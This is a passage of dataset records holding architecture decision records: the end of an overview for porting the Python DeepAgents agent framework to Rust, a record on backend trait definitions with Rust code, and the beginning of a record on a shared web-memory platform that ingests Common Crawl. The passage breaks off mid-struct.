constant\n\u251c\u2500\u2500 graph.py \u2192 create_deep_agent() \u2014 main entry point\n\u251c\u2500\u2500 backends/\n\u2502 \u251c\u2500\u2500 protocol.py \u2192 BackendProtocol ABC, SandboxBackendProtocol\n\u2502 \u251c\u2500\u2500 state.py \u2192 StateBackend (ephemeral, in LangGraph state)\n\u2502 \u251c\u2500\u2500 filesystem.py \u2192 FilesystemBackend (local disk, ripgrep)\n\u2502 \u251c\u2500\u2500 local_shell.py \u2192 LocalShellBackend (filesystem + shell exec)\n\u2502 \u251c\u2500\u2500 composite.py \u2192 CompositeBackend (path-prefix routing)\n\u2502 \u251c\u2500\u2500 sandbox.py \u2192 BaseSandbox (execute-only abstract)\n\u2502 \u251c\u2500\u2500 store.py \u2192 StoreBackend (LangGraph store)\n\u2502 \u2514\u2500\u2500 utils.py \u2192 Shared utilities\n\u2514\u2500\u2500 middleware/\n \u251c\u2500\u2500 filesystem.py \u2192 FilesystemMiddleware (tools: ls, read, write, edit, glob, grep, execute)\n \u251c\u2500\u2500 subagents.py \u2192 SubAgentMiddleware (task tool)\n \u251c\u2500\u2500 summarization.py \u2192 SummarizationMiddleware (auto-compact + tool)\n \u251c\u2500\u2500 memory.py \u2192 MemoryMiddleware (AGENTS.md loading)\n \u251c\u2500\u2500 skills.py \u2192 SkillsMiddleware (SKILL.md progressive disclosure)\n \u251c\u2500\u2500 patch_tool_calls.py \u2192 PatchToolCallsMiddleware (dangling tool call fix)\n \u2514\u2500\u2500 _utils.py \u2192 append_to_system_message helper\n```\n\n### CLI (`libs/cli/deepagents_cli/`)\n\n```\ndeepagents_cli/\n\u251c\u2500\u2500 agent.py \u2192 Agent creation for CLI context\n\u251c\u2500\u2500 app.py \u2192 Textual TUI application\n\u251c\u2500\u2500 main.py \u2192 Entry point, argument parsing\n\u251c\u2500\u2500 config.py \u2192 Configuration management\n\u251c\u2500\u2500 hooks.py \u2192 Pre/post execution hooks\n\u251c\u2500\u2500 sessions.py \u2192 Session persistence/resume\n\u251c\u2500\u2500 tools.py \u2192 CLI-specific tools\n\u251c\u2500\u2500 mcp_tools.py \u2192 MCP server integration\n\u251c\u2500\u2500 subagents.py \u2192 CLI subagent management\n\u251c\u2500\u2500 skills/ \u2192 Skill loading/commands\n\u251c\u2500\u2500 integrations/ \u2192 Sandbox providers (Modal, Runloop, Daytona)\n\u251c\u2500\u2500 widgets/ \u2192 Textual UI widgets (15+ modules)\n\u2514\u2500\u2500 ... \u2192 30+ additional modules\n```\n\n### ACP Server (`libs/acp/deepagents_acp/`)\n\n```\ndeepagents_acp/\n\u251c\u2500\u2500 server.py \u2192 ACP agent implementation\n\u2514\u2500\u2500 utils.py \u2192 Content block conversions\n```\n\n## Key Python Abstractions \u2192 Rust Mapping\n\n| Python Concept | Rust Equivalent |\n|---|---|\n| `BackendProtocol` (ABC) | `trait Backend` with `async_trait` |\n| `SandboxBackendProtocol` | `trait SandboxBackend: Backend` |\n| `AgentMiddleware` (generic) | `trait Middleware<S, C, R>` |\n| `BaseChatModel` | `trait ChatModel` (provider-agnostic) |\n| `BaseTool` / `StructuredTool` | `trait Tool` with `#[tool]` macro |\n| `TypedDict` (SubAgent, etc.) | `struct` with `#[derive(Serialize)]` |\n| `Annotated[T, ...]` | Custom derive macros for tool params |\n| `async def` / `asyncio` | `async fn` / `tokio` runtime |\n| `langgraph` state graph | `ruvector-deep-graph` with state machine |\n| `Command` (state update) | `enum StateUpdate` |\n\n## RVF Integration Points\n\nThe RuVector Format (ADR-029, ADR-030) provides:\n\n1. **Serialization** \u2014 All agent state, backend files, and checkpoint data serialize to RVF\n2. **Cognitive containers** \u2014 Agent configurations stored as RVF cognitive containers\n3. **WASM execution** \u2014 Tool backends can execute in WASM sandboxes via `ruvector-wasm`\n4. **Graph operations** \u2014 Agent graph topology maps to RuVector graph primitives\n\n## Fidelity Requirements\n\n100% fidelity means:\n\n1. **API parity** \u2014 Every public function/class has a Rust equivalent\n2. **Behavioral parity** \u2014 Same inputs produce same outputs (modulo LLM non-determinism)\n3. **Protocol compatibility** \u2014 Rust backends interoperate with Python backends via shared protocols\n4. **Tool compatibility** \u2014 File operations produce identical results\n5. **Middleware ordering** \u2014 Same middleware pipeline semantics (wrap_model_call, before_agent, etc.)\n6. **State management** \u2014 Compatible checkpoint/state formats (JSON/RVF)\n\n## Series Index\n\n| ADR | Title | Scope |\n|-----|-------|-------|\n| **ADR-093** | Overview (this document) | Architecture mapping, fidelity requirements |\n| **ADR-094** | Backend Protocol & Trait System | `BackendProtocol` \u2192 `trait Backend`, all backend impls |\n| **ADR-095** | Middleware Pipeline Architecture | Middleware trait, ordering, state schemas |\n| **ADR-096** | Tool System | Filesystem tools, execute, grep, glob |\n| **ADR-097** | SubAgent & Task Orchestration | Task tool, subagent lifecycle, parallel execution |\n| **ADR-098** | Memory, Skills & Summarization | AGENTS.md, SKILL.md, auto-compact |\n| **ADR-099** | CLI & ACP Server | Terminal UI, ACP protocol, session management |\n| **ADR-100** | RVF Integration & Crate Structure | Workspace layout, RVF serialization, WASM |\n| **ADR-101** | Testing Strategy & Fidelity Verification | Cross-language test suite, property testing |\n| **ADR-102** | Implementation Roadmap | Phased delivery, milestones, dependencies |\n\n## Consequences\n\n### Positive\n- Native performance (10-100x faster tool operations, zero-cost abstractions)\n- Memory safety guarantees (no runtime GC, no null pointer exceptions)\n- WASM compilation for browser/edge deployment\n- Type-safe middleware pipeline (compile-time verification)\n- Integration with existing RuVector ecosystem (100+ crates)\n\n### Negative\n- No direct LangChain/LangGraph dependency (must reimplement core abstractions)\n- LLM provider SDKs must be wrapped (Anthropic, OpenAI \u2192 Rust HTTP clients)\n- Textual TUI \u2192 `ratatui` requires widget reimplementation\n- Larger initial development effort\n\n### Risks\n- LangChain middleware API may evolve (mitigated: we pin to v0.4.x semantics)\n- Python-specific patterns (duck typing, dynamic dispatch) require Rust idioms\n- Some Python libs (wcmatch, yaml) need Rust equivalents (glob, serde_yaml)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-093-deepagents-rust-conversion-overview.md", "created_at": "2026-03-28T11:58:49.941045+00:00", "content_hash": "3b5f1f9189bf7c69103767b8f663f550b46c9a4705fe7744d03ac0883e1a9c00"} +{"id": "75fca65a-bc8a-4111-8271-0dc29524ed4e", "source": "adr", "text": "# ADR-094: Backend Protocol & Trait System\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-14 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n| **Crate** | `ruvector-deep-backends` |\n\n## Context\n\nDeepAgents defines a `BackendProtocol` ABC with 12 methods (sync + async pairs) for file operations, plus `SandboxBackendProtocol` extending it with `execute()`. Five concrete implementations exist:\n\n1. **StateBackend** \u2014 Ephemeral, stores files in LangGraph state dict\n2. **FilesystemBackend** \u2014 Local disk with ripgrep integration\n3. **LocalShellBackend** \u2014 Filesystem + unrestricted shell execution\n4. **CompositeBackend** \u2014 Path-prefix routing to multiple backends\n5. **BaseSandbox** \u2014 Abstract, implements all file ops via `execute()` shell commands\n\n## Decision\n\n### Core Traits\n\n```rust\n// crates/ruvector-deep-backends/src/protocol.rs\n\nuse async_trait::async_trait;\nuse serde::{Deserialize, Serialize};\nuse std::path::Path;\n\n/// Standardized error codes for file operations (LLM-actionable).\n#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]\npub enum FileOperationError {\n FileNotFound,\n PermissionDenied,\n IsDirectory,\n InvalidPath,\n}\n\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct FileInfo {\n pub path: String,\n #[serde(default)]\n pub is_dir: bool,\n #[serde(default)]\n pub size: u64,\n #[serde(default)]\n pub modified_at: Option<String>,\n}\n\n#[derive(Debug, Clone)]\npub struct FileDownloadResponse {\n pub path: String,\n pub content: Option<Vec<u8>>,\n pub error: Option<FileOperationError>,\n}\n\n#[derive(Debug, Clone)]\npub struct FileUploadResponse {\n pub path: String,\n pub error: Option<FileOperationError>,\n}\n\n#[derive(Debug, Clone)]\npub struct GrepMatch {\n pub path: String,\n pub line: u32,\n pub text: String,\n}\n\n#[derive(Debug, Clone)]\npub struct WriteResult {\n pub error: Option<String>,\n pub path: Option<String>,\n pub files_update: Option<HashMap<String, serde_json::Value>>,\n}\n\n#[derive(Debug, Clone)]\npub struct EditResult {\n pub error: Option<String>,\n pub path: Option<String>,\n pub files_update: Option<HashMap<String, serde_json::Value>>,\n pub occurrences: Option<u32>,\n}\n\n#[derive(Debug, Clone)]\npub struct ExecuteResponse {\n pub output: String,\n pub exit_code: Option<i32>,\n pub truncated: bool,\n}\n\n/// Core backend trait \u2014 all file operations.\n/// Python: BackendProtocol\n#[async_trait]\npub trait Backend: Send + Sync {\n fn ls_info(&self, path: &str) -> Vec<FileInfo>;\n async fn als_info(&self, path: &str) -> Vec<FileInfo> {\n tokio::task::spawn_blocking({\n let this = self.clone_box();\n let path = path.to_string();\n move || this.ls_info(&path)\n }).await.unwrap()\n }\n\n fn read(&self, file_path: &str, offset: usize, limit: usize) -> String;\n async fn aread(&self, file_path: &str, offset: usize, limit: usize) -> String;\n\n fn grep_raw(&self, pattern: &str, path: Option<&str>, glob: Option<&str>)\n -> Result<Vec<GrepMatch>, String>;\n async fn agrep_raw(&self, pattern: &str, path: Option<&str>, glob: Option<&str>)\n -> Result<Vec<GrepMatch>, String>;\n\n fn glob_info(&self, pattern: &str, path: &str) -> Vec<FileInfo>;\n async fn aglob_info(&self, pattern: &str, path: &str) -> Vec<FileInfo>;\n\n fn write(&self, file_path: &str, content: &str) -> WriteResult;\n async fn awrite(&self, file_path: &str, content: &str) -> WriteResult;\n\n fn edit(&self, file_path: &str, old_string: &str, new_string: &str, replace_all: bool)\n -> EditResult;\n async fn aedit(&self, file_path: &str, old_string: &str, new_string: &str, replace_all: bool)\n -> EditResult;\n\n fn upload_files(&self, files: &[(String, Vec<u8>)]) -> Vec<FileUploadResponse>;\n async fn aupload_files(&self, files: &[(String, Vec<u8>)]) -> Vec<FileUploadResponse>;\n\n fn download_files(&self, paths: &[String]) -> Vec<FileDownloadResponse>;\n async fn adownload_files(&self, paths: &[String]) -> Vec<FileDownloadResponse>;\n}\n\n/// Extension trait for backends with shell execution.\n/// Python: SandboxBackendProtocol\n#[async_trait]\npub trait SandboxBackend: Backend {\n fn id(&self) -> &str;\n fn execute(&self, command: &str, timeout: Option<u32>) -> ExecuteResponse;\n async fn aexecute(&self, command: &str, timeout: Option<u32>) -> ExecuteResponse;\n}\n```\n\n### Backend Implementations\n\n#### StateBackend\n\n```rust\n// Python: StateBackend \u2014 stores files in agent state (HashMap)\npub struct StateBackend {\n state: Arc<RwLock<AgentState>>,\n}\n```\n\nMaps directly: Python's `runtime.state.get(\"files\", {})` \u2192 Rust `state.read().files`.\n\n#### FilesystemBackend\n\n```rust\npub struct FilesystemBackend {\n cwd: PathBuf,\n virtual_mode: bool,\n max_file_size_bytes: u64,\n}\n```\n\nKey mappings:\n- `_resolve_path()` \u2192 `resolve_path()` with same virtual_mode logic\n- `_ripgrep_search()` \u2192 Shell out to `rg --json -F` (same as Python)\n- `_python_search()` \u2192 Native Rust `walkdir` + `regex` fallback\n- `wcmatch.glob` \u2192 `globset` crate\n\n#### LocalShellBackend\n\n```rust\npub struct LocalShellBackend {\n inner: FilesystemBackend,\n default_timeout: u32,\n max_output_bytes: usize,\n env: HashMap<String, String>,\n sandbox_id: String,\n}\n\nimpl SandboxBackend for LocalShellBackend {\n fn execute(&self, command: &str, timeout: Option<u32>) -> ExecuteResponse {\n // std::process::Command with shell=true equivalent\n // Combined stdout/stderr with [stderr] prefix \u2014 same as Python\n }\n}\n```\n\n#### CompositeBackend\n\n```rust\npub struct CompositeBackend {\n default: Box<dyn Backend>,\n routes: Vec<(String, Box<dyn Backend>)>, // sorted by prefix length desc\n}\n```\n\nPreserves exact routing logic: longest-prefix-first matching, path stripping, result remapping.\n\n#### BaseSandbox\n\n```rust\npub trait BaseSandbox: SandboxBackend {\n // Default implementations for all Backend methods using execute()\n // Same Python command templates (_GLOB_COMMAND_TEMPLATE, etc.)\n}\n```\n\n### Type Mapping Details\n\n| Python Type | Rust Type |\n|---|---|\n| `dict[str, Any]` (file data) | `FileData { content: Vec<String>, created_at: String, modified_at: String }` |\n| `list[FileInfo]` | `Vec<FileInfo>` |\n| `list[GrepMatch] \\| str` | `Result<Vec<GrepMatch>, String>` |\n| `WriteResult` (dataclass) | `WriteResult` (struct) |\n| `EditResult` (dataclass) | `EditResult` (struct) |\n| `ExecuteResponse` (dataclass) | `ExecuteResponse` (struct) |\n| `BackendFactory` (Callable) | `Box<dyn Fn(&ToolRuntime) -> Box<dyn Backend>>` |\n\n### Crate Dependencies\n\n```toml\n[dependencies]\nasync-trait = \"0.1\"\ntokio = { version = \"1\", features = [\"full\"] }\nserde = { version = \"1\", features = [\"derive\"] }\nserde_json = \"1\"\nwalkdir = \"2\"\nglobset = \"0.4\"\nregex = \"1\"\nchrono = \"0.4\"\n```\n\n## Fidelity Verification\n\nFor each backend method, we verify:\n\n1. **Path resolution** \u2014 Same behavior for absolute, relative, virtual paths\n2. **Error codes** \u2014 Same `FileOperationError` variants for same conditions\n3. **Line numbering** \u2014 `cat -n` format (1-indexed, 6-char width, tab separator)\n4. **Grep output** \u2014 Identical `GrepMatch` structs for same input\n5. **Edit semantics** \u2014 Same replace_all=false uniqueness check\n6. **Execute output** \u2014 Same `[stderr]` prefixing, truncation, exit code formatting\n\n## Consequences\n\n- All 5 backend implementations fully ported with identical behavior\n- `async_trait` provides async/sync parity matching Python's `asyncio.to_thread` pattern\n- `CompositeBackend` routing is zero-cost (sorted prefix matching)\n- WASM targets can use `StateBackend` (no filesystem needed)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-094-deepagents-backend-protocol-traits.md", "created_at": "2026-03-28T11:58:49.941167+00:00", "content_hash": "fc022f3d1f0abfc476f1012e240f5b87278c609426ecd99b9c6079d9bca23e44"} +{"id": "5ca320ca-6342-4645-a835-1d214cc7a186", "source": "adr", "text": "# ADR-094: \u03c0.ruv.io Shared Web Memory on RuVector\n\n**Status**: Accepted (Implementing)\n**Date**: 2026-03-14\n**Authors**: ruv\n**Deciders**: ruv, RuVector Architecture Team\n**Technical Area**: Web-scale ingestion / Shared agent memory / Cloud orchestration / Compression / Temporal storage\n**Related**: ADR-030 (RVF Computational Container), ADR-040 (Cognitum Swarm), ADR-047 (Proof-Gated Mutation Protocol), ADR-058 (MCP Tool Groups), ADR-059 (Shared Brain \u2014 Google Cloud), ADR-060 (Shared Brain Capabilities), ADR-077 (Midstream Platform Integration), ADR-091 (INT8 CNN Quantization), ADR-017 (Temporal Tensor Compression)\n\n## Version History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-03-14 | ruv | Initial proposal \u2014 architecture, storage model, ingestion pipeline |\n| 0.2 | 2026-03-15 | RuVector Team | Added implementation phases, cost model, acceptance criteria |\n| 0.3 | 2026-03-15 | RuVector Team | Phase 1-2 implementation complete. Deep review: fixed SHA3-256 alignment, added within-batch dedup, WebMemoryStore persistence, 106 tests passing. |\n\n## Implementation Status\n\n**Branch**: `claude/review-ruvector-planet-finder-YUAhU`\n**Last Updated**: 2026-03-15\n\n### Phase Completion\n\n| Phase | Status | Files Created/Modified | Tests |\n|-------|--------|------------------------|-------|\n| Phase 1: Data Model + Types | \u2705 Complete | `web_memory.rs` (WebMemory, WebPageDelta, LinkEdge, CompressionTier, 14 API types) | 10 |\n| Phase 2: Ingestion Pipeline | \u2705 Complete | `web_ingest.rs` (7-phase pipeline, midstream integration) | 18 |\n| Phase 2b: Persistence | \u2705 Complete | `web_store.rs` (DashMap + Firestore write-through, dedup index, domain stats) | 4 |\n| Phase 3: Graph Construction | \ud83d\udd32 Planned | Extend `graph.rs` with LinkEdge integration | \u2014 |\n| Phase 4: Temporal Compression | \ud83d\udd32 Planned | `web_temporal.rs`, extend `drift.rs` | \u2014 |\n| Phase 5: Query APIs | \ud83d\udd32 Planned | Extend `routes.rs` with 10 web endpoints | \u2014 |\n| Phase 6: Local Preprocessing CLI | \ud83d\udd32 Planned | `preprocess.rs`, CLI commands | \u2014 |\n| Phase 7: Hardening + Acceptance | \ud83d\udd32 Planned | Load tests, latency validation | \u2014 |\n\n### Invariants Verified\n\n| Invariant | Status | Enforcement |\n|-----------|--------|-------------|\n| INV-2: Content hash unique per Full-tier | \u2705 | SHA3-256 dedup in `ingest_batch` + within-batch dedup |\n| INV-5: Tier matches novelty deterministically | \u2705 | `CompressionTier::from_novelty()` + boundary tests |\n| INV-6: LinkEdge weight \u2208 [0.0, 1.0] | \u2705 | `f64::clamp` in `LinkEdge::new()` |\n\n### Test Summary\n\n- **Total New Tests**: 32 (web_memory: 10, web_ingest: 18, web_store: 4)\n- **All Passing**: \u2705 Yes (106 total in crate)\n\n---\n\n## Decision Statement\n\n**ADR-094 establishes \u03c0.ruv.io as a RuVector-native shared web memory platform that ingests large public corpora (starting with Common Crawl), compresses them into structured semantic memory objects, and exposes them as a queryable knowledge substrate for agents, models, and users.**\n\nThis decision prioritizes:\n- Retrieval-first architecture over model-training-first pipelines\n- Temporal compression as a first-class storage primitive (ADR-017)\n- Proof-gated mutation for all agent writes (ADR-047)\n- Hybrid local/cloud deployment for cost control\n- Coherence and contrast as query primitives via mincut boundaries\n\n**Acceptance Benchmark**: Ingest \u22651M Common Crawl pages, compress to \u226440% of raw embedding storage via temporal deduplication, achieve p95 semantic retrieval latency \u226450ms for 10M memory objects, with full provenance chains on every stored object.\n\n---\n\n## 1. Context and Problem Statement\n\n### 1.1 Current State\n\n\u03c0.ruv.io currently operates as a shared brain for Claude Code sessions (ADR-059, ADR-060). The `mcp-brain-server` crate provides:\n\n| Component | Path | Current State |\n|-----------|------|---------------|\n| Memory store | `crates/mcp-brain-server/src/store.rs` | DashMap + Firestore, session-contributed memories |\n| Knowledge graph | `crates/mcp-brain-server/src/graph.rs` | ruvector-mincut + ruvector-solver PPR search |\n| Embeddings | `crates/mcp-brain-server/src/embeddings.rs` | HashEmbedder + RlmEmbedder, 128-dim |\n| Cognitive engine | `crates/mcp-brain-server/src/cognitive.rs` | Hopfield + DentateGyrus + HDC |\n| Midstream | `crates/mcp-brain-server/src/midstream.rs` | Lyapunov attractor + temporal solver + strange loop |\n| RVF pipeline | `crates/mcp-brain-server/src/pipeline.rs` | VEC + META + WITNESS + DP segments |\n| Temporal tracking | `types.rs` (DeltaStream) | VectorDelta per-memory, knowledge velocity |\n\n### 1.2 Problem\n\nThe current system accepts only agent-contributed memories from Claude Code sessions. There is no mechanism to:\n\n1. **Ingest web-scale corpora** \u2014 Common Crawl alone is ~3.5 billion pages per crawl\n2. **Compress and retain only semantic structure** \u2014 raw HTML wastes storage; boilerplate templates repeat across millions of pages\n3. **Track temporal evolution** \u2014 the same URL may change content across crawls; deltas must collapse when novelty is low\n4. **Build graph structure from hyperlinks** \u2014 link topology encodes authority, relevance, and domain relationships\n5. **Detect contradictions** \u2014 conflicting claims across sources are coherence signals, not noise\n6. **Scale writes safely** \u2014 agent swarms reading from and writing to shared memory need proof-gated mutation at scale\n\nWithout this architecture, \u03c0.ruv.io risks becoming:\n- An expensive web archive (storing raw data without compression)\n- A conventional vector database (embeddings without graph or temporal structure)\n- An opaque training pipeline (data in, model out, no shared retrieval)\n- A static RAG backend (retrieval without shared learning or evolution tracking)\n\n### 1.3 Opportunity\n\nTreating the public web as a continuously evolving external memory layer where:\n- Pages become structured **memory objects** (`WebMemory`)\n- Semantic meaning becomes **vector state** (128-dim embeddings via ruvLLM)\n- Links and references become **graph structure** (KnowledgeGraph edges with PPR)\n- Change over time becomes **temporal deltas** (DeltaStream from ruvector-delta-core)\n- Contradictions become **coherence signals** (mincut partition boundaries)\n- Writes remain **proof-gated** (ADR-047 ProofGate<T>)\n\n---\n\n## 2. Decision\n\nWe will implement \u03c0.ruv.io as a RuVector-native shared web memory platform with the following core decisions:\n\n### 2.1 RuVector is the System of Record for Semantic Memory\n\nAll cleaned web content, embeddings, graph relationships, temporal deltas, and coherence metadata are stored in RuVector's memory plane. The `mcp-brain-server` store is extended with web-specific types (`WebMemory`, `WebPageDelta`, `LinkEdge`) that compose with the existing `BrainMemory` infrastructure.\n\n### 2.2 Retrieval-First, Not Model-Training-First\n\nInitial implementation focuses on shared retrieval, reasoning, clustering, provenance, and agent memory. The existing search, partition, and transfer APIs (ADR-059) are extended for web-scale queries. Fine-tuning or model training is optional and outside the critical path \u2014 the LoRA federation (ADR-060) can optionally train on web-derived preference signals.\n\n### 2.3 Temporal Compression is a First-Class Primitive\n\nMemory is stored as stable state plus deltas over time (extending `DeltaStream<VectorDelta>` from ADR-017). Repeated, templated, or low-novelty content collapses aggressively:\n\n| Content Signal | Compression Action |\n|---|---|\n| Boilerplate (nav, footer, cookie banners) | Strip before embedding; deduplicate via content hash |\n| Template pages (product listings, directory entries) | Collapse to schema + per-instance delta |\n| Low-novelty recrawls (< 5% content change) | Store as temporal delta, not full re-embedding |\n| Near-duplicate pages (cosine > 0.98) | Merge into cluster centroid with provenance list |\n| Contradictory content (mincut boundary crossing) | Preserve both sides with contradiction edge |\n\n### 2.4 Hybrid Local/Cloud Deployment\n\n| Layer | Hardware | Responsibility |\n|---|---|---|\n| Fetch + filter | Cloud (Cloud Run jobs) | WARC download, language detection, robots.txt compliance |\n| Preprocess | Local (Mac Studio M2 Ultra / Mac mini M4) | HTML cleaning, deduplication, chunking, optional local embedding via ruvLLM |\n| Ingest API | Cloud (Cloud Run service) | Validation, job dispatch, write orchestration, proof verification |\n| Storage | Cloud (Firestore + GCS) | Persistent memory objects, RVF containers, temporal deltas |\n| Query | Cloud (Cloud Run service) | Semantic search, graph traversal, coherence analysis |\n\n### 2.5 Proof-Gated Mutation Governs All Writes\n\nAll agent-contributed memory updates must carry provenance, policy validation, and mutation proofs before becoming canonical (ADR-047). Web-ingested content uses a simplified proof path:\n\n```\nProofRequirement::Composite(vec![\n ProofRequirement::TypeMatch { schema_id: WEB_MEMORY_SCHEMA },\n ProofRequirement::InvariantPreserved { invariant_id: PROVENANCE_CHAIN },\n ProofRequirement::CoherenceBound { min_coherence: 0.3 },\n])\n```\n\n### 2.6 Coherence and Contrast are Query Primitives\n\nDynamic mincut (ruvector-mincut), contradiction edges, graph partition boundaries, and novelty scoring are exposed as first-class indexing and reasoning features:\n\n- `GET /v1/web/contradictions?topic=X` \u2014 find conflicting claims across sources\n- `GET /v1/web/novelty?since=2026-03-01` \u2014 detect newly emerging knowledge clusters\n- `GET /v1/web/coherence?cluster_id=N` \u2014 measure internal consistency of a knowledge cluster\n- `GET /v1/web/evolution?url=X` \u2014 temporal delta history for a specific source\n\n---\n\n## 3. Decision Drivers\n\n| Driver | Requirement | Metric |\n|---|---|---|\n| Cost | Avoid full raw-cloud retention and excessive managed embedding spend | \u2264$500/month for 10M memory objects |\n| Auditability | Preserve source provenance and mutation history | 100% of objects have witness chains |\n| Shared intelligence | Many agents contributing to and reading from one memory substrate | Support \u2265100 concurrent agent sessions |\n| Compression | Exploit RuVector temporal compression and structured retention | \u226560% storage reduction vs. raw embeddings |\n| Performance | Semantic retrieval and graph traversal at production latency | p95 \u226450ms for search, p95 \u2264100ms for graph traversal |\n| Safety | Proof-gated write paths and scoped authority | Zero unprovenanced writes to canonical memory |\n| Extensibility | Support future RVF packaging, agent swarms, and Cognitum edge nodes | Clean bounded contexts per DDD |\n\n---\n\n## 4. High-Level Architecture\n\n### 4.1 Logical Topology\n\n```text\nCommon Crawl / Public Corpora\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Fetch + Filter \u2502 Cloud Run Jobs\n\u2502 WARC download \u2502 Language detection\n\u2502 robots.txt check \u2502 Size/quality gates\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Local Preprocess \u2502 Mac Studio / Mac mini\n\u2502 HTML \u2192 text \u2502 Boilerplate strip\n\u2502 Deduplication \u2502 Content hashing\n\u2502 Chunking (512 tok) \u2502 ruvLLM embedding (opt)\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Cloud Ingest API \u2502 Cloud Run (\u03c0.ruv.io)\n\u2502 Validation \u2502 Proof verification\n\u2502 Job dispatch \u2502 Write orchestration\n\u2502 Rate limiting \u2502 Byzantine aggregation\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 RuVector Shared Memory Plane \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Vectors \u2502 \u2502 Graph \u2502 \u2502 Temporal \u2502 \u2502\n\u2502 \u2502 128-dim \u2502 \u2502 MinCut \u2502 \u2502 Deltas \u2502 \u2502\n\u2502 \u2502 HNSW idx \u2502 \u2502 PPR rank \u2502 \u2502 ADR-017 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502Coherence \u2502 \u2502Provenance\u2502 \u2502 Midstream\u2502 \u2502\n\u2502 \u2502 scoring \u2502 \u2502 witness \u2502 \u2502 attractor\u2502 \u2502\n\u2502 \u2502 mincut \u2502 \u2502 chains \u2502 \u2502 solver \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 \u2502\n \u25bc \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Agent Query API \u2502 \u2502 Admin/Analytics \u2502\n\u2502 semantic search \u2502 \u2502 health, compact \u2502\n\u2502 graph traverse \u2502 \u2502 drift, audit \u2502\n\u2502 contrast query \u2502 \u2502 cost tracking \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### 4.2 Data Model\n\n#### WebMemory (extends BrainMemory)\n\n```rust\n/// A web-sourced memory object in the shared memory plane\npub struct WebMemory {\n /// Core brain memory fields (embedding, quality, witness, etc.)\n pub base: BrainMemory,\n /// Source URL (canonical, after redirect resolution)\n pub source_url: String,\n /// Domain extracted from source_url\n pub domain: String,\n /// Content hash (SHA3-256) for deduplication\n pub content_hash: String,\n /// Crawl timestamp (when the content was fetched)\n pub crawl_timestamp: DateTime<Utc>,\n /// Crawl source identifier (e.g., \"cc-2026-09\")\n pub crawl_source: String,\n /// Language code (ISO 639-1)\n pub language: String,\n /// Outbound link URLs (for graph construction)\n pub outbound_links: Vec<String>,\n /// Temporal 